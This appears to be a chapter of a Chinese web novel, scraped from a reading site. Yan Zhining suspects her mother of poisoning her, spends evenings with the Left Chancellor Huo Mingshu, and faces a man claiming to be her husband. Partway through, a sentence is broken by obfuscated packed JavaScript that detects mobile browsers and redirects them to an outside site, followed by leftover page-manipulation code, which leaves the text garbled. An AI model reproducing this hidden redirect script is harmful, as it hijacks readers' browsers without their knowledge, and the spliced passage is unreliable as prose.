11.成亲

作品:《洞房夜当晚穿到五年后

    颜夫人的殷勤让颜知宁想到洞房夜那晚,同样的场景再现。顷刻间,她脊背出了冷汗,像是被人推了一把,她猛地打翻面前的参汤。


    “你做什么……”颜夫人发出尖叫声,脸色大变,面容狰狞。很快,她意识不对,忙换了副笑脸,“不喝就不喝,何必打翻。”


    颜知宁冷冷地看着她,“夫人,洞房那晚您给我喝的醒酒汤是不是掺了些什么?”


    “什么?”颜夫人眼皮一跳,像是做了亏心事,忙为自己辩解:“天地良心,我是你的母亲,我能害了你不成。当年我被迫送你去江南,这些年来,我日日想你,夜夜念着你。”


    “好不容易将你盼回来了,你却视我如仇人,如今竟然还在怀疑我害你。宁儿,我是你的母亲啊。”


    颜夫人痛哭流涕,极力诉苦,她说得越多,铃铛越响,她说的话没有一句实话!


    颜知宁静静地看着她演戏,莫说心疼,就连眼皮都没有眨一下。她逼近一步,道:“我真的是你的女儿吗?”


    “你……”颜夫人浑身一颤,心惊肉跳,下意识想要辩解:“你就是我的女儿呀,宁儿,是不是有人在你面前嚼舌根,我对你,哪里不好,你竟然来怀疑我。”


    “天地良心,我辛辛苦苦,十月怀胎,鬼门关里走了一圈才换来你,你竟然、竟然……”


    颜夫人说完,哭哭啼啼地走了,原本以为颜知宁会追过来,没想到她出了院门也没有见到人追来。


    她怎么像变了一个人人。五年前回来时,抱着自己撒娇,嘘寒问暖,这回像是仇人一般。


    难不成她知道了什么?颜夫人紧紧捏着手心,回首望着庭院,杀意慢慢地涌现上来,一个小丫头罢了。五年前能让她死一回,现在依旧可以。


    颜知宁在京无依靠,如今的颜家下属都听命于她们,颜知宁翻不了风浪。


    就算左相护着她也没有用!


    颜夫人淡然转身,扫了一眼左右,“回去吧。”


    一行人浩浩荡荡地走了,颜知宁也收回视线,看向地面上的参汤,看来颜夫人迫不及待地就要杀她了。


    竟然如此心急。


    看来姑姑当年的死也与颜重南脱不了关系。


    颜氏夫妻心狠手辣,敢屡屡杀害她,因利益所迫,必然会对即将继承颜家的姑姑动手。


    在颜家老宅的时候,祖母从未提及过姑姑,由此可见,祖母必然也是知道其中真相。不过女儿死了,儿子活着,不能因为死人去害了活人,所以,祖母隐瞒此事。


    颜知宁自己在屋内胡乱猜测,枯坐半日,日落黄昏时,左相回来了。


    霍明书提了一匣子点心,放在她面前,道:“右相今日辞官了,这是给你的奖励。”


    “奖励?”颜知宁眼皮发颤,就一盒子点心就是奖励?好歹是一左相,这样的奖励也拿得出手?


    颜知宁不甘,小脸开始发红,直勾勾地看着左相,试图表明自己的不满。


    她抬起脸,烛火在她清澈的眼底跳跃,映出几分执拗的亮光。


    “这个、不算奖励。”她的声音很轻,却带着一股不肯退让的韧劲,霍明书扫她一眼,“要不要?”


    威胁她?颜知宁猛地站起来,脸颊晕开浅浅的绯红,如同晚霞染过的白瓷,“你、下回不帮你了。”


    这人、过河拆桥、卸磨杀驴。


    霍明书静静地看她,将她眼底那簇小小的火焰和脸颊上生动的红晕尽收眼底。霍明书伸手,如同戏弄小猫般拍拍她的脑袋,“你不缺钱,我的奖励,你用不上。”


    颜知宁被她拍得点点头,觉得她在逗弄猫狗,心中的不甘再度涌上来,反手抓住她的手腕,当碰到手腕内柔软的肌肤时,她又愣住了,下意识缩回手。


    “你、你、你、我想睡床上。”她说完,眼神一阵飘忽,不敢再看霍明书,浓密的睫毛轻颤不已。


    霍明书的手腕还悬在半空,少女的手指温热,带着些微的汗意,像受惊的蝶翼,一触即离。


    再看颜知宁,脸颊上的红晕迅速蔓延,从双颊一路烧到耳尖,甚至那截细白的脖颈都染上了淡淡的粉色。


    她在害羞什么?霍明书觉得她有趣,像是情窦初开的小姑娘,天真烂漫。


    “你要睡床上也可,隔壁卧房便可睡。”


    隔壁?颜知宁怔了怔,试图维持那点几乎不存在的七气势,这么一听,底气也没了。


    她要睡主卧的床上,睡隔壁做什么!


    颜知宁陡然泄了气,眉眼下垂,整个人像是霜打的茄子,“这盒点心也不错,挺好的。”


    她安慰自己,见好就收才是识趣者。她很识趣,特别识趣。


    匣子里有八种点心,每种点心都有双份的,她拿了块鲜花饼,递给左相:“吃鲜花饼。”


    霍明书皱眉,目光落在她的手背上,不知为何,她并不胖,但手背却是肉肉的,无端透着可爱。


    其实颜知宁并不像男子,相反,她的脸颊偏于可爱,侧脸柔软,睫毛如蝶翼轻颤。


    霍明书接过鲜花饼,颜知宁自己拿了一块,小口咬着鲜花饼,脸颊鼓起,鼻尖微粉,唇瓣沾着细屑。


    肉乎乎的手背上有浅浅小窝,整个人在烛光里笼着一团稚气的柔光。


    霍明书收回视线,低头看着鲜花饼,不知为何,她觉得颜知宁像极了手中的饼,柔软极了,咬一口,内里柔软,透着花香。


    就在她恍惚的时候,颜知宁一口气吃了三块点心,吃第四块的时候,霍明书不得不出声:“不用晚膳了?”


    颜知宁已经咬上了第四块,旋即一口吞下去,看得霍明书皱眉。


    她拍拍手,霍明书没多想就将自己的帕子递过去,这么冲动的举止让颜知宁眉开眼笑,“谢谢。”


    颜知宁高高兴兴地擦擦唇角,转而将帕子塞入自己的袖口,“明日洗洗再还给你。”


    “嗯。”霍明书客气地回应一句,“我去书房,你自己用晚膳,不用等我回来。”


    颜知宁看着她离开,目光悄悄落在食盒上,没出息的她又拿起一块咬上去,不得不说,京城里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162547|196520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的点心比江南的好吃多了。


    她一口气将一盒子点心吃完了,舒服地躺在美人榻上,悠闲地看着闲书。


    相府宁静,到了夜晚,除了婢女说话的声音外几乎听不到其他声音。


    就在颜知宁昏昏欲睡时,霍明书从外面走来,脱下披风递给婢女,美人榻上的人已经闭上了眼睛。


    地铺已经铺好了,但她不去睡,歪着脑袋靠着美人榻安睡。


    霍明书扫了一眼,又将披风拿回来,随手铺在她的身上。


    本以为她会醒,但没想到她连动都没有动,显然是将这里当做自己的家,毫无警惕之心。


    霍明书目光落在她莹白透着晕红的小脸上,端详一眼,稍稍俯身,手悬在她腰际上方寸许处,迟迟没有落下。


    指尖蜷了又松,她有些犹豫,最终只轻轻拍了拍颜知宁的肩:“去睡吧。”


    颜知宁迷迷糊糊地,闻声睁开眼睛,掀开披风,径直朝床走去。


    就快要靠近的时候,霍明书将她拉回来,“地上才是你的床。”


    颜知宁幽怨地看她一眼:“我哥在,你还会让他睡地上吗?”


    霍明书嗤笑一声,“不睡就出去。”


    “睡。”颜知宁哼哼唧唧,脱下外袍,钻进被子里,嘴里嘀咕一句:“你就是卸磨杀驴。”


    霍明书听后并不在意,转身去浴房洗漱,再回来时,颜知宁早就去见周公去了,睡得小脸发红。


    两人一夜好眠,霍明书照旧去官署,登车时,一行人浩浩荡荡走来。


    霍明书停下来,同时,相府护卫拔刀而向,管事先开口:“你们做什么?”


    领头的是一男子,粗布衣裳,相貌俊秀。他的目光落在霍明书身上,一眼扫过,唇角勾了勾。


    “我来找颜知宁。”男子先开口,“我是她的夫君,听说她回娘家来了,特地来接她回去。”


    颜知宁的夫君?霍明书心口一沉,但她没有动,静静等着对方的话。


    男子说完后便指向侯府的方向,“那里的门人说颜知宁在您这里,还请让她出来,容我们夫妻见面。”


    “你们是夫妻?”霍明书眼光冰冷,“你们何时成亲?”


    男子颔首,恭谨一礼:“我们成亲已有五年,只她性子骄纵,闹着要回京城,我本欲陪着她回来,未曾想到,她竟然一人跑了回来。”


    话音落地,门后走出来一人,正是颜夫人。她见到男子后,呀了一声,“你怎么来了?”


    男子见到颜夫人,当即行大礼:“岳母,我来接知宁回去。”


    “这……”颜夫人为难地看向左相,讪讪笑道,“知宁现在不方便跟你回去,要不你先回去,过些时日再说。”


    听她回答,男子的脸色顿时变了,语气生硬:“岳母,为何推三阻四,我是知宁的丈夫,为何不能接她回去?你让她出来,我要与她见一面。”


    颜夫人低着头,面露为难,被这么一逼,转头询问左相:“左相,您看,这、我没有骗你,知宁当真嫁过人了。”